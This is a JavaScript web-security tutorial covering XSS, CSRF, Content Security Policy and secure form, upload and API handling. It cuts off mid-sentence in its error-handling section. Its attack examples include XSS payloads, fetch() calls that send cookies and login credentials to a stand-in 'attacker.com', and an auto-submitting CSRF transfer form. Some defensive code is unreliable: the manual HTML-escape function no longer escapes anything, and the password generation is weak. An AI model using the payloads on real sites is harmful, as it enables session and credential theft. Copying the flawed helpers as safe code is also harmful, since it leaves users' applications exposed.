HTML & JS Topic
JavaScript Security Basics: Complete Guide
Cross-Site Scripting (XSS) Attacks
What is XSS?
XSS occurs when attackers inject malicious scripts into web pages viewed by other users.
Types of XSS Attacks:
1. Reflected XSS (Non-persistent)
javascript
// Vulnerable code - user input directly rendered
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Search results for: ${search}`;
// Attacker crafts malicious URL:
// https://example.com/search?q=<script>alert('XSS')</script>
// OR more dangerous:
// https://example.com/search?q=<script>stealCookies()</script>
function stealCookies() {
// Send cookies to attacker's server
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie
});
}
2. Stored XSS (Persistent)
javascript
// Vulnerable comment system
function addComment(comment) {
// UNSAFE: Directly inserting user input
const commentSection = document.getElementById('comments');
commentSection.innerHTML += `
<div class="comment">
<p>${comment}</p>
</div>
`;
// Attacker submits:
// <script>alert('XSS')</script>
// OR
// <img src="x" onerror="stealSession()">
// This gets stored in database and shown to ALL users!
}
// Even more dangerous: stealing login credentials
const maliciousComment = `
<form onsubmit="stealCredentials()">
<input id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button>Login</button>
</form>
`;
function stealCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ username, password })
});
}
3. DOM-based XSS
javascript
// Vulnerable: Using location.hash without validation
const page = window.location.hash.substring(1);
document.getElementById('content').innerHTML = page;
// User visits:
// https://example.com/#<script>alert('XSS')</script>
// Another example with eval()
const userData = JSON.parse(localStorage.getItem('userSettings'));
// UNSAFE: Using eval() on user data
eval(userData.customScript);
// Attacker sets customScript in localStorage:
// localStorage.setItem('userSettings', '{"customScript": "alert(\'XSS\')"}');
Preventing XSS Attacks:
1. Escape/Encode User Input
javascript
// HTML Entity Encoding
function escapeHTML(text) {
const div = document.createElement('div');
div.textContent = text; // Browser automatically escapes
return div.innerHTML;
}
// Or manually:
function escapeHTMLManual(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
// Safe usage
const userInput = '<script>alert("XSS")</script>';
document.getElementById('output').innerHTML = escapeHTML(userInput);
// Output: <script>alert("XSS")</script>
// For URLs
function sanitizeURL(url) {
try {
const parsed = new URL(url);
// Only allow http/https
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return 'about:blank';
}
return url;
} catch {
return 'about:blank';
}
}
2. Use textContent instead of innerHTML
javascript
// UNSAFE
element.innerHTML = userInput;
// SAFE
element.textContent = userInput;
// Example
function displayUserName(username) {
// Vulnerable
document.getElementById('greeting').innerHTML = `Welcome, ${username}!`;
// Safe
document.getElementById('greeting').textContent = `Welcome, ${username}!`;
}
3. Use Safe DOM APIs
javascript
// Creating elements safely
function createSafeElement(tag, content, attributes = {}) {
const element = document.createElement(tag);
element.textContent = content; // Content is safe
// Safely set attributes
for (const [key, value] of Object.entries(attributes)) {
if (key.startsWith('on')) {
// Don't allow event handlers from user input
continue;
}
if (key === 'href' || key === 'src') {
element.setAttribute(key, sanitizeURL(value));
} else {
// Use setAttribute instead of .attribute = value
element.setAttribute(key, escapeHTML(value));
}
}
return element;
}
// Usage
const userLink = 'javascript:alert("XSS")';
const safeElement = createSafeElement('a', 'Click me', {
href: userLink,
class: 'user-link',
onclick: 'malicious()' // This will be ignored
});
document.body.appendChild(safeElement);
4. Sanitize with DOMPurify
javascript
// Using DOMPurify library (recommended)
import DOMPurify from 'dompurify';
const dirtyHTML = '<script>alert("XSS")</script><p>Safe content</p>';
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// Result: <p>Safe content</p>
// With configuration
const config = {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
FORBID_ATTR: ['style', 'onerror', 'onclick']
};
const safeHTML = DOMPurify.sanitize(userContent, config);
// For specific contexts
const safeForStyle = DOMPurify.sanitize(userStyle, {
ALLOWED_TAGS: [],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false
});
5. Modern Safe Insertion Methods
javascript
// Using template literals with textContent
const name = userInput;
const safeHTML = `<div class="user">${name}</div>`;
element.textContent = ''; // Clear first
element.insertAdjacentHTML('beforeend', safeHTML);
// Using DocumentFragment
function createSafeFragment(htmlString) {
const template = document.createElement('template');
template.innerHTML = htmlString;
return template.content;
}
const userHTML = `<script>alert('XSS')</script><p>Hello</p>`;
const fragment = createSafeFragment(userHTML);
// The script won't execute when added to DOM
document.body.appendChild(fragment);
Cross-Site Request Forgery (CSRF)
What is CSRF?
Attackers trick users into performing actions they didn't intend to.
CSRF Attack Example:
html
<!-- Attacker's page (evil.com) -->
<html>
<body>
<!-- Hidden form that submits to bank transfer endpoint -->
<form id="csrfForm" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="1000">
</form>
<script>
// Auto-submit the form when page loads
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
<!-- If user is logged into bank.com and visits evil.com,
the transfer happens automatically! -->
Preventing CSRF Attacks:
1. Use Anti-CSRF Tokens
javascript
// Server-side: Generate and send token
// In Express.js example:
app.get('/transfer-form', (req, res) => {
const csrfToken = generateSecureToken();
req.session.csrfToken = csrfToken; // Store in session
res.render('transfer-form', { csrfToken });
});
// Client-side: Include token in all forms
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<input type="text" name="to" placeholder="Recipient">
<input type="number" name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
// Server-side: Validate token
app.post('/transfer', (req, res) => {
const { _csrf, to, amount } = req.body;
const sessionToken = req.session.csrfToken;
if (!_csrf || _csrf !== sessionToken) {
return res.status(403).send('Invalid CSRF token');
}
// Process transfer...
req.session.csrfToken = generateSecureToken(); // Rotate token
res.send('Transfer successful');
});
// For AJAX requests
function getCSRFToken() {
// Read from meta tag or cookie
return document.querySelector('meta[name="csrf-token"]').content;
}
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCSRFToken()
},
body: JSON.stringify({ to: 'account', amount: 100 })
});
2. SameSite Cookies
javascript
// Set cookies with SameSite attribute
// Server-side (Express.js example):
res.cookie('sessionId', 'abc123', {
httpOnly: true,
secure: true, // HTTPS only
sameSite: 'strict', // or 'lax'
maxAge: 24 * 60 * 60 * 1000 // 1 day
});
// SameSite options:
// - 'strict': Never send with cross-site requests
// - 'lax': Send with top-level navigation (default in modern browsers)
// - 'none': Send with all requests (requires Secure flag)
// In browser, you can check cookie attributes:
console.log(document.cookie); // Won't show httpOnly cookies
// httpOnly cookies are inaccessible to JavaScript
3. Double Submit Cookie Pattern
javascript
// Simple implementation
// Server sets random token in cookie
document.cookie = "CSRF_TOKEN=random_value_here; SameSite=Strict";
// Client includes token in all forms/requests
function getCSRFToken() {
// Extract token from cookie
const cookie = document.cookie
.split('; ')
.find(row => row.startsWith('CSRF_TOKEN='));
return cookie ? cookie.split('=')[1] : null;
}
// Include in form
const token = getCSRFToken();
const formData = new FormData();
formData.append('csrf_token', token);
formData.append('action', 'delete');
fetch('/api/action', {
method: 'POST',
body: formData
});
// Server compares cookie token with form token
4. Custom Headers for API Requests
javascript
// AJAX requests automatically include custom headers
// that can't be set by forms (CORS restrictions)
fetch('/api/sensitive-action', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // Custom header
},
body: JSON.stringify({ action: 'delete' })
});
// Server checks for custom header
app.post('/api/sensitive-action', (req, res) => {
const isAjax = req.headers['x-requested-with'] === 'XMLHttpRequest';
if (!isAjax) {
return res.status(403).send('AJAX requests only');
}
// Process request...
});
5. Require Re-authentication for Sensitive Actions
javascript
// For critical actions (password change, large transfers)
function requireReauth(action) {
return new Promise((resolve, reject) => {
const password = prompt(`Please re-enter your password to ${action}:`);
fetch('/api/verify-password', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ password })
})
.then(response => response.json())
.then(data => {
if (data.valid) {
resolve(data.token); // Return one-time token
} else {
reject(new Error('Invalid password'));
}
});
});
}
// Usage
async function transferMoney(to, amount) {
try {
const authToken = await requireReauth('transfer money');
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Auth-Token': authToken
},
body: JSON.stringify({ to, amount })
});
return await response.json();
} catch (error) {
console.error('Transfer failed:', error);
}
}
Content Security Policy (CSP)
What is CSP?
A security layer that helps detect and mitigate XSS attacks by restricting resources the browser can load.
Implementing CSP:
1. Via HTTP Header
javascript
// Server sends this header:
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
// In Express.js:
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://trusted.cdn.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self'; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"form-action 'self';"
);
next();
});
2. Via Meta Tag
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
3. CSP Directives Examples
javascript
// Report-Only mode (testing)
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; report-uri /csp-report-endpoint"
);
// Strict CSP policy
const strictCSP = `
default-src 'none';
script-src 'self' 'sha256-abc123...' 'sha256-def456...';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
`;
// Nonce-based CSP (modern approach)
// Generate unique nonce for each request
const nonce = generateNonce();
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic' https:;` +
`object-src 'none';` +
`base-uri 'none';`
);
// Include nonce in script tags
<script nonce="${nonce}">
// Inline script allowed because of nonce
</script>
// Hash-based CSP
res.setHeader('Content-Security-Policy',
"script-src 'sha256-abc123...' 'sha256-def456...';"
);
// Where hash is SHA256 of script content
// Example: console.log('Hello'); → hashed
4. CSP in Practice
javascript
// Dynamic CSP based on environment
function getCSPHeader(isProduction) {
const directives = [
"default-src 'self'",
`script-src 'self' ${isProduction ? '' : "'unsafe-eval'"}`,
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'"
];
if (!isProduction) {
directives.push("report-uri /csp-report");
}
return directives.join('; ');
}
// Handling CSP violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
console.warn('CSP Violation:', violation);
// Log to security monitoring system
res.status(204).end();
});
// Testing CSP
const testPolicy = `
default-src 'self';
script-src 'self';
report-uri /csp-report;
report-to csp-endpoint;
`;
// Report-To header (newer)
res.setHeader('Report-To', JSON.stringify({
group: 'csp-endpoint',
max_age: 10886400,
endpoints: [{ url: '/csp-report' }],
include_subdomains: true
}));
5. CSP with Modern Frameworks
javascript
// React with CSP nonces
// Server-side
const nonce = generateNonce();
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic';` +
`style-src 'nonce-${nonce}' 'unsafe-inline';`
);
// Inject nonce into HTML
const html = `
<!DOCTYPE html>
<html>
<head>
<script nonce="${nonce}">
window.__NONCE__ = '${nonce}';
</script>
<style nonce="${nonce}">
/* Inline styles */
</style>
</head>
<body>
<div id="root"></div>
</body>
</html>
`;
// In React app
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
<App nonce={window.__NONCE__} />
);
// Webpack with CSP
// webpack.config.js
module.exports = {
// Generate content hashes for files
output: {
filename: '[name].[contenthash].js',
},
};
// Use in CSP
// script-src 'sha256-...' 'sha256-...';
Secure Form Handling
1. Input Validation & Sanitization
javascript
// Client-side validation (UX only - always validate server-side!)
class FormValidator {
static validateEmail(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return emailRegex.test(email);
}
static sanitizeInput(input) {
return input
.trim()
.replace(/[<>]/g, '') // Remove angle brackets
.slice(0, 255); // Limit length
}
static validatePassword(password) {
return {
isValid: password.length >= 8 &&
/[A-Z]/.test(password) &&
/[a-z]/.test(password) &&
/[0-9]/.test(password),
errors: [
password.length < 8 ? 'Minimum 8 characters' : null,
!/[A-Z]/.test(password) ? 'At least one uppercase letter' : null,
!/[a-z]/.test(password) ? 'At least one lowercase letter' : null,
!/[0-9]/.test(password) ? 'At least one number' : null
].filter(Boolean)
};
}
static preventXSS(input) {
const div = document.createElement('div');
div.textContent = input;
return div.innerHTML;
}
}
// Usage in form
const form = document.getElementById('signup-form');
form.addEventListener('submit', async (event) => {
event.preventDefault();
const email = FormValidator.sanitizeInput(form.email.value);
const password = form.password.value;
// Validate
if (!FormValidator.validateEmail(email)) {
showError('Please enter a valid email address');
return;
}
const passwordValidation = FormValidator.validatePassword(password);
if (!passwordValidation.isValid) {
showError(passwordValidation.errors.join(', '));
return;
}
// Submit securely
await submitForm(email, password);
});
2. Secure File Uploads
javascript
class SecureFileUpload {
static ALLOWED_TYPES = {
'image/jpeg': ['.jpg', '.jpeg'],
'image/png': ['.png'],
'image/gif': ['.gif'],
'application/pdf': ['.pdf']
};
static MAX_SIZE = 5 * 1024 * 1024; // 5MB
static async validateFile(file) {
// Check file type
if (!this.ALLOWED_TYPES[file.type]) {
throw new Error(`File type ${file.type} not allowed`);
}
// Check file extension
const extension = file.name.substring(file.name.lastIndexOf('.')).toLowerCase();
if (!this.ALLOWED_TYPES[file.type].includes(extension)) {
throw new Error('Invalid file extension');
}
// Check file size
if (file.size > this.MAX_SIZE) {
throw new Error(`File too large. Maximum size: ${this.MAX_SIZE / 1024 / 1024}MB`);
}
// Additional security checks
await this.scanForMalware(file);
return true;
}
static async scanForMalware(file) {
// In production, use a proper virus scanner API
// This is a simplified example
// Check for suspicious file signatures
const buffer = await file.slice(0, 256).arrayBuffer();
const view = new Uint8Array(buffer);
// Simple check for executable files
const isExecutable = view[0] === 0x4D && view[1] === 0x5A; // MZ header
if (isExecutable) {
throw new Error('Executable files not allowed');
}
// Check for PHP tags in text files
if (file.type === 'text/plain' || file.type === 'text/html') {
const text = await file.slice(0, 1024).text();
if (text.includes('<?php') || text.includes('<%')) {
throw new Error('Suspicious content detected');
}
}
}
static async uploadFile(file) {
await this.validateFile(file);
// Create secure filename
const timestamp = Date.now();
const randomString = Math.random().toString(36).substring(2, 15);
const safeName = file.name.replace(/[^a-zA-Z0-9.-]/g, '_');
const finalName = `${timestamp}_${randomString}_${safeName}`;
// Upload to server
const formData = new FormData();
formData.append('file', file, finalName);
formData.append('csrf_token', getCSRFToken());
const response = await fetch('/api/upload', {
method: 'POST',
body: formData
});
if (!response.ok) {
throw new Error('Upload failed');
}
return await response.json();
}
}
// Usage
const fileInput = document.getElementById('file-upload');
fileInput.addEventListener('change', async (event) => {
const file = event.target.files[0];
try {
const result = await SecureFileUpload.uploadFile(file);
console.log('File uploaded successfully:', result);
} catch (error) {
console.error('Upload error:', error.message);
showError(error.message);
}
});
3. Password Security
javascript
class PasswordSecurity {
// Client-side hashing (additional layer - server should always hash!)
static async hashPassword(password) {
// Encode password as UTF-8
const encoder = new TextEncoder();
const data = encoder.encode(password);
// Hash with SHA-256
const hashBuffer = await crypto.subtle.digest('SHA-256', data);
// Convert to hex string
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray
.map(b => b.toString(16).padStart(2, '0'))
.join('');
return hashHex;
}
// Generate secure password
static generatePassword(length = 16) {
const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=';
let password = '';
// Ensure at least one of each required character type
password += this.getRandomChar('abcdefghijklmnopqrstuvwxyz');
password += this.getRandomChar('ABCDEFGHIJKLMNOPQRSTUVWXYZ');
password += this.getRandomChar('0123456789');
password += this.getRandomChar('!@#$%^&*()_+-=');
// Fill remaining length
for (let i = password.length; i < length; i++) {
password += charset.charAt(Math.floor(Math.random() * charset.length));
}
// Shuffle the password
return password.split('').sort(() => Math.random() - 0.5).join('');
}
static getRandomChar(charset) {
return charset.charAt(Math.floor(Math.random() * charset.length));
}
// Check password against common breaches
static async checkBreached(password) {
// Hash password (partial)
const hash = await this.hashPassword(password);
const prefix = hash.substring(0, 5);
try {
const response = await fetch(`https://api.pwnedpasswords.com/range/${prefix}`);
const data = await response.text();
// Check if full hash appears in response
const suffix = hash.substring(5).toUpperCase();
return data.includes(suffix);
} catch {
return false; // Assume safe if check fails
}
}
}
// Secure login form
class SecureLoginForm {
constructor(formId) {
this.form = document.getElementById(formId);
this.setupSecurity();
}
setupSecurity() {
// Rate limiting
this.attempts = 0;
this.maxAttempts = 5;
this.lockUntil = 0;
// Add honeypot field (for bots)
this.addHoneypot();
// Add timestamp to prevent replay attacks
this.addTimestamp();
// Setup event listener
this.form.addEventListener('submit', this.handleSubmit.bind(this));
}
addHoneypot() {
const honeypot = document.createElement('input');
honeypot.type = 'text';
honeypot.name = 'website';
honeypot.style.display = 'none';
honeypot.autocomplete = 'off';
this.form.appendChild(honeypot);
}
addTimestamp() {
const timestamp = document.createElement('input');
timestamp.type = 'hidden';
timestamp.name = 'timestamp';
timestamp.value = Date.now();
this.form.appendChild(timestamp);
}
async handleSubmit(event) {
event.preventDefault();
// Check rate limit
if (Date.now() < this.lockUntil) {
const minutes = Math.ceil((this.lockUntil - Date.now()) / 60000);
showError(`Too many attempts. Try again in ${minutes} minutes`);
return;
}
// Check honeypot
const honeypot = this.form.querySelector('[name="website"]');
if (honeypot.value) {
// Bot detected - silently fail
console.warn('Bot detected');
this.form.reset();
return;
}
// Check timestamp (prevent replay)
const timestamp = parseInt(this.form.querySelector('[name="timestamp"]').value);
const now = Date.now();
if (now - timestamp > 5 * 60 * 1000) { // 5 minutes
showError('Session expired. Please refresh the page.');
return;
}
// Get and validate credentials
const email = this.form.email.value.trim();
const password = this.form.password.value;
if (!email || !password) {
showError('Please fill in all fields');
return;
}
// Hash password client-side (additional security)
const hashedPassword = await PasswordSecurity.hashPassword(password);
// Send login request
try {
const response = await fetch('/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCSRFToken()
},
body: JSON.stringify({
email,
password: hashedPassword,
timestamp
})
});
const data = await response.json();
if (data.success) {
this.onLoginSuccess(data);
} else {
this.onLoginFailure(data);
}
} catch (error) {
showError('Network error. Please try again.');
}
}
onLoginSuccess(data) {
// Reset attempts
this.attempts = 0;
// Store session securely
this.storeSession(data.token);
// Redirect (use replaceState to prevent back navigation issues)
window.location.replace('/dashboard');
}
onLoginFailure(data) {
this.attempts++;
if (this.attempts >= this.maxAttempts) {
// Lock account for 15 minutes
this.lockUntil = Date.now() + (15 * 60 * 1000);
showError('Too many failed attempts. Account locked for 15 minutes.');
} else {
showError(`Invalid credentials. ${this.maxAttempts - this.attempts} attempts remaining.`);
}
}
storeSession(token) {
// Use httpOnly cookies if possible (set by server)
// For SPA, use secure storage
if (window.sessionStorage) {
sessionStorage.setItem('auth_token', token);
}
// Alternative: secure cookie
document.cookie = `token=${token}; Secure; SameSite=Strict; path=/`;
}
}
// Initialize
new SecureLoginForm('login-form');
4. Secure AJAX/API Requests
javascript
class SecureAPI {
constructor(baseURL) {
this.baseURL = baseURL;
this.cache = new Map();
this.requestQueue = new Map();
}
async request(endpoint, options = {}) {
const requestId = `${endpoint}_${JSON.stringify(options.body || {})}`;
// Prevent duplicate concurrent requests
if (this.requestQueue.has(requestId)) {
return this.requestQueue.get(requestId);
}
const requestPromise = this._makeRequest(endpoint, options);
this.requestQueue.set(requestId, requestPromise);
try {
const result = await requestPromise;
return result;
} finally {
this.requestQueue.delete(requestId);
}
}
async _makeRequest(endpoint, options) {
const url = `${this.baseURL}${endpoint}`;
const defaultHeaders = {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': this.getCSRFToken(),
'X-Request-ID': this.generateRequestId()
};
const config = {
method: options.method || 'GET',
headers: { ...defaultHeaders, ...options.headers },
credentials: 'same-origin', // Send cookies
mode: 'same-origin', // Only same-origin requests
cache: 'no-store', // Disable caching for sensitive data
...options
};
// Add timeout
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 10000); // 10s timeout
config.signal = controller.signal;
try {
const response = await fetch(url, config);
clearTimeout(timeoutId);
// Check for security headers
this.checkSecurityHeaders(response.headers);
// Parse response
const contentType = response.headers.get('content-type');
if (!response.ok) {
throw await this.handleError(response);
}
if (contentType && contentType.includes('application/json')) {
return await response.json();
}
return await response.text();
} catch (error) {
if (error.name === 'AbortError') {
throw new Error('Request timeout');
}
throw error;
}
}
generateRequestId() {
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
}
getCSRFToken() {
// Get from meta tag
const metaTag = document.querySelector('meta[name="csrf-token"]');
if (metaTag) {
return metaTag.getAttribute('content');
}
// Get from cookie
const cookie = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='));
return cookie ? cookie.split('=')[1] : '';
}
checkSecurityHeaders(headers) {
const requiredHeaders = [
'X-Content-Type-Options',
'X-Frame-Options',
'X-XSS-Protection'
];
const missingHeaders = requiredHeaders.filter(
header => !headers.has(header)
);
if (missingHeaders.length > 0) {
console.warn('Missing security headers:', missingHeaders);
}
}
async handleError(response) {
const error = new Error(`HTTP ${response.status}`);
error.status = response.status;
try {
const data = await response.json();
error.data = data;
error.message = data.message || error.message;
} catch {
error.message = await response.text() || error.message;
}
// Special handling for security-related errors
switch(response.status) {
case 401:
// Unauthorized - redirect to login
window.location.href = '/login?return=' + encodeURIComponent(window.location.pathname);
break;
case 403:
// Forbidden - show access denied
showError('Access denied. You do not have permission.');
break;
case 419:
// CSRF token mismatch
showError('Session expired. Please refresh the page.');
break;
}
return error;
}
// Rate-limited API calls
createRateLimiter(maxRequests, timeWindow) {
const requests = [];
return async (fn) => {
const now = Date.now();
// Remove old requests
while (requests.length > 0 && requests[0] < now - timeWindow) {
requests.shift();
}
if (requests.length >= maxRequests) {
const oldest = requests[0];
const waitTime = timeWindow - (now - oldest);
await new Promise(resolve => setTimeout(resolve, waitTime));
return this.createRateLimiter(maxRequests, timeWindow)(fn);
}
requests.push(now);
return fn();
};
}
}
// Usage
const api = new SecureAPI('/api');
// Make secure request
try {
const data = await api.request('/user/profile', {
method: 'GET'
});
console.log('User data:', data);
} catch (error) {
console.error('API error:', error);
}
// Rate-limited example
const rateLimitedAPI = api.createRateLimiter(5, 60000); // 5 requests per minute
rateLimitedAPI(() =>
api.request('/search', {
method: 'POST',
body: JSON.stringify({ query: 'test' })
})
);
5. Secure Error Handling
javascript
// Don't leak sensitive information in errors
class SecureErrorHandler {
static handleError(error, context = '') {
// Log securely (don't include sensitive data)
const safeError = this.sanitizeError(error);
console.error(`[${context}]`, safeError);
// Send to monitoring (filter sensitive data)
this.sendToMonitoring(safeError, context);
// Show user-friendly message
this
Comments (0)
No comments yet. Be the first to comment!